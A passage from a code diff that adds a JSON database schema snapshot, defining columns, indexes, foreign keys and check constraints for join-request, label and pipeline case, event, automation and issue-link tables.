+          "where": "\"join_requests\".\"request_type\" = 'human' AND \"join_requests\".\"status\" = 'pending_approval' AND \"join_requests\".\"request_email_snapshot\" IS NOT NULL",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "join_requests_invite_id_invites_id_fk": {
+          "name": "join_requests_invite_id_invites_id_fk",
+          "tableFrom": "join_requests",
+          "tableTo": "invites",
+          "columnsFrom": [
+            "invite_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "join_requests_company_id_companies_id_fk": {
+          "name": "join_requests_company_id_companies_id_fk",
+          "tableFrom": "join_requests",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "join_requests_created_agent_id_agents_id_fk": {
+          "name": "join_requests_created_agent_id_agents_id_fk",
+          "tableFrom": "join_requests",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.labels": {
+      "name": "labels",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "color": {
+          "name": "color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "labels_company_idx": {
+          "name": "labels_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "labels_company_name_idx": {
+          "name": "labels_company_name_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "labels_company_id_companies_id_fk": {
+          "name": "labels_company_id_companies_id_fk",
+          "tableFrom": "labels",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.pipeline_automation_executions": {
+      "name": "pipeline_automation_executions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "automation_id": {
+          "name": "automation_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "triggering_event_id": {
+          "name": "triggering_event_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "execution_issue_id": {
+          "name": "execution_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retry_of_execution_id": {
+          "name": "retry_of_execution_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "generation": {
+          "name": "generation",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_automation_executions_idempotency_uq": {
+          "name": "pipeline_automation_executions_idempotency_uq",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "automation_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "triggering_event_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_automation_executions_company_case_idx": {
+          "name": "pipeline_automation_executions_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_automation_executions_routine_idx": {
+          "name": "pipeline_automation_executions_routine_idx",
+          "columns": [
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_automation_executions_execution_issue_idx": {
+          "name": "pipeline_automation_executions_execution_issue_idx",
+          "columns": [
+            {
+              "expression": "execution_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_automation_executions_retry_of_execution_idx": {
+          "name": "pipeline_automation_executions_retry_of_execution_idx",
+          "columns": [
+            {
+              "expression": "retry_of_execution_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_automation_executions_company_id_companies_id_fk": {
+          "name": "pipeline_automation_executions_company_id_companies_id_fk",
+          "tableFrom": "pipeline_automation_executions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_automation_executions_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_automation_executions_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_automation_executions",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_automation_executions_routine_id_routines_id_fk": {
+          "name": "pipeline_automation_executions_routine_id_routines_id_fk",
+          "tableFrom": "pipeline_automation_executions",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_automation_executions_execution_issue_id_issues_id_fk": {
+          "name": "pipeline_automation_executions_execution_issue_id_issues_id_fk",
+          "tableFrom": "pipeline_automation_executions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "execution_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_automation_executions_status_check": {
+          "name": "pipeline_automation_executions_status_check",
+          "value": "\"pipeline_automation_executions\".\"status\" in ('succeeded', 'failed')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_case_blockers": {
+      "name": "pipeline_case_blockers",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "blocked_by_case_id": {
+          "name": "blocked_by_case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_case_blockers_case_blocked_by_uq": {
+          "name": "pipeline_case_blockers_case_blocked_by_uq",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "blocked_by_case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_blockers_blocked_by_idx": {
+          "name": "pipeline_case_blockers_blocked_by_idx",
+          "columns": [
+            {
+              "expression": "blocked_by_case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_blockers_company_case_idx": {
+          "name": "pipeline_case_blockers_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_case_blockers_company_id_companies_id_fk": {
+          "name": "pipeline_case_blockers_company_id_companies_id_fk",
+          "tableFrom": "pipeline_case_blockers",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_blockers_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_case_blockers_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_case_blockers",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_blockers_blocked_by_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_case_blockers_blocked_by_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_case_blockers",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "blocked_by_case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_case_blockers_no_self_block_check": {
+          "name": "pipeline_case_blockers_no_self_block_check",
+          "value": "\"pipeline_case_blockers\".\"case_id\" <> \"pipeline_case_blockers\".\"blocked_by_case_id\""
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_case_documents": {
+      "name": "pipeline_case_documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_case_documents_company_case_key_uq": {
+          "name": "pipeline_case_documents_company_case_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_documents_document_uq": {
+          "name": "pipeline_case_documents_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_documents_company_case_updated_idx": {
+          "name": "pipeline_case_documents_company_case_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_case_documents_company_id_companies_id_fk": {
+          "name": "pipeline_case_documents_company_id_companies_id_fk",
+          "tableFrom": "pipeline_case_documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_documents_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_case_documents_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_case_documents",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_documents_document_id_documents_id_fk": {
+          "name": "pipeline_case_documents_document_id_documents_id_fk",
+          "tableFrom": "pipeline_case_documents",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.pipeline_case_events": {
+      "name": "pipeline_case_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "type": {
+          "name": "type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_user_id": {
+          "name": "actor_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_agent_id": {
+          "name": "actor_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "from_stage_id": {
+          "name": "from_stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "to_stage_id": {
+          "name": "to_stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_case_events_case_created_idx": {
+          "name": "pipeline_case_events_case_created_idx",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_events_company_case_idx": {
+          "name": "pipeline_case_events_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_case_events_company_id_companies_id_fk": {
+          "name": "pipeline_case_events_company_id_companies_id_fk",
+          "tableFrom": "pipeline_case_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_events_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_case_events_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_case_events",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_events_actor_agent_id_agents_id_fk": {
+          "name": "pipeline_case_events_actor_agent_id_agents_id_fk",
+          "tableFrom": "pipeline_case_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "actor_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_events_from_stage_id_pipeline_stages_id_fk": {
+          "name": "pipeline_case_events_from_stage_id_pipeline_stages_id_fk",
+          "tableFrom": "pipeline_case_events",
+          "tableTo": "pipeline_stages",
+          "columnsFrom": [
+            "from_stage_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_events_to_stage_id_pipeline_stages_id_fk": {
+          "name": "pipeline_case_events_to_stage_id_pipeline_stages_id_fk",
+          "tableFrom": "pipeline_case_events",
+          "tableTo": "pipeline_stages",
+          "columnsFrom": [
+            "to_stage_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_case_events_type_check": {
+          "name": "pipeline_case_events_type_check",
+          "value": "\"pipeline_case_events\".\"type\" in (\n        'ingested',\n        'updated',\n        'claimed',\n        'lease_released',\n        'lease_expired',\n        'transitioned',\n        'transition_forced',\n        'transition_suggested',\n        'suggestion_resolved',\n        'review_decided',\n        'conversation_opened',\n        'issue_linked',\n        'issue_unlinked',\n        'automation_executed',\n        'automation_failed',\n        'automation_retry_requested',\n        'automation_effects_retired',\n        'automation_retry_dispatched',\n        'blockers_set',\n        'blockers_resolved',\n        'children_terminal',\n        'upstream_drift',\n        'drift_acknowledged'\n      )"
+        },
+        "pipeline_case_events_actor_type_check": {
+          "name": "pipeline_case_events_actor_type_check",
+          "value": "\"pipeline_case_events\".\"actor_type\" in ('user', 'agent', 'system')"
+        },
+        "pipeline_case_events_agent_run_check": {
+          "name": "pipeline_case_events_agent_run_check",
+          "value": "\"pipeline_case_events\".\"actor_type\" <> 'agent' or \"pipeline_case_events\".\"run_id\" is not null"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_case_issue_links": {
+      "name": "pipeline_case_issue_links",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "role": {
+          "name": "role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "automation_attempt_id": {
+          "name": "automation_attempt_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_at": {
+          "name": "retired_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_by_attempt_id": {
+          "name": "retired_by_attempt_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_reason": {
+          "name": "retired_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_case_issue_links_case_issue_uq": {
+          "name": "pipeline_case_issue_links_case_issue_uq",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_issue_links_issue_idx": {
+          "name": "pipeline_case_issue_links_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_issue_links_company_case_idx": {
+          "name": "pipeline_case_issue_links_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_issue_links_automation_attempt_idx": {
+          "name": "pipeline_case_issue_links_automation_attempt_idx",
+          "columns": [
+            {
+              "expression": "automation_attempt_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_case_issue_links_company_id_companies_id_fk": {
+          "name": "pipeline_case_issue_links_company_id_companies_id_fk",
+          "tableFrom": "pipeline_case_issue_links",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_issue_links_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_case_issue_links_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_case_issue_links",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_issue_links_issue_id_issues_id_fk": {
+          "name": "pipeline_case_issue_links_issue_id_issues_id_fk",
+          "tableFrom": "pipeline_case_issue_links",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_case_issue_links_role_check": {
+          "name": "pipeline_case_issue_links_role_check",
+          "value": "\"pipeline_case_issue_links\".\"role\" in ('origin', 'conversation', 'work', 'automation')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_cases": {
+      "name": "pipeline_cases",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "pipeline_id": {
+          "name": "pipeline_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stage_id": {
+          "name": "stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_key": {
+          "name": "case_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "summary": {
+          "name": "summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "fields": {
+          "name": "fields",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "workspace_ref": {
+          "name": "workspace_ref",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "parent_case_id": {
+          "name": "parent_case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "parent_case_version": {
+          "name": "parent_case_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "request_key": {
+          "name": "request_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "automation_attempt_id": {
+          "name": "automation_attempt_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "version": {
+          "name": "version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "pending_suggestion": {
+          "name": "pending_suggestion",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "lease_owner_type": {
+          "name": "lease_owner_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "lease_agent_id": {
+          "name": "lease_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "lease_user_id": {
+          "name": "lease_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "lease_token": {
+          "name": "lease_token",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "lease_expires_at": {
+          "name": "lease_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "terminal_kind": {
+          "name": "terminal_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "terminal_at": {
+          "name": "terminal_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_at": {
+          "name": "retired_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_by_attempt_id": {
+          "name": "retired_by_attempt_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_reason": {
+          "name": "retired_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "hidden_from_board_at": {
+          "name": "hidden_from_board_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "child_count": {
+          "name": "child_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "terminal_child_count": {
+          "name": "terminal_child_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
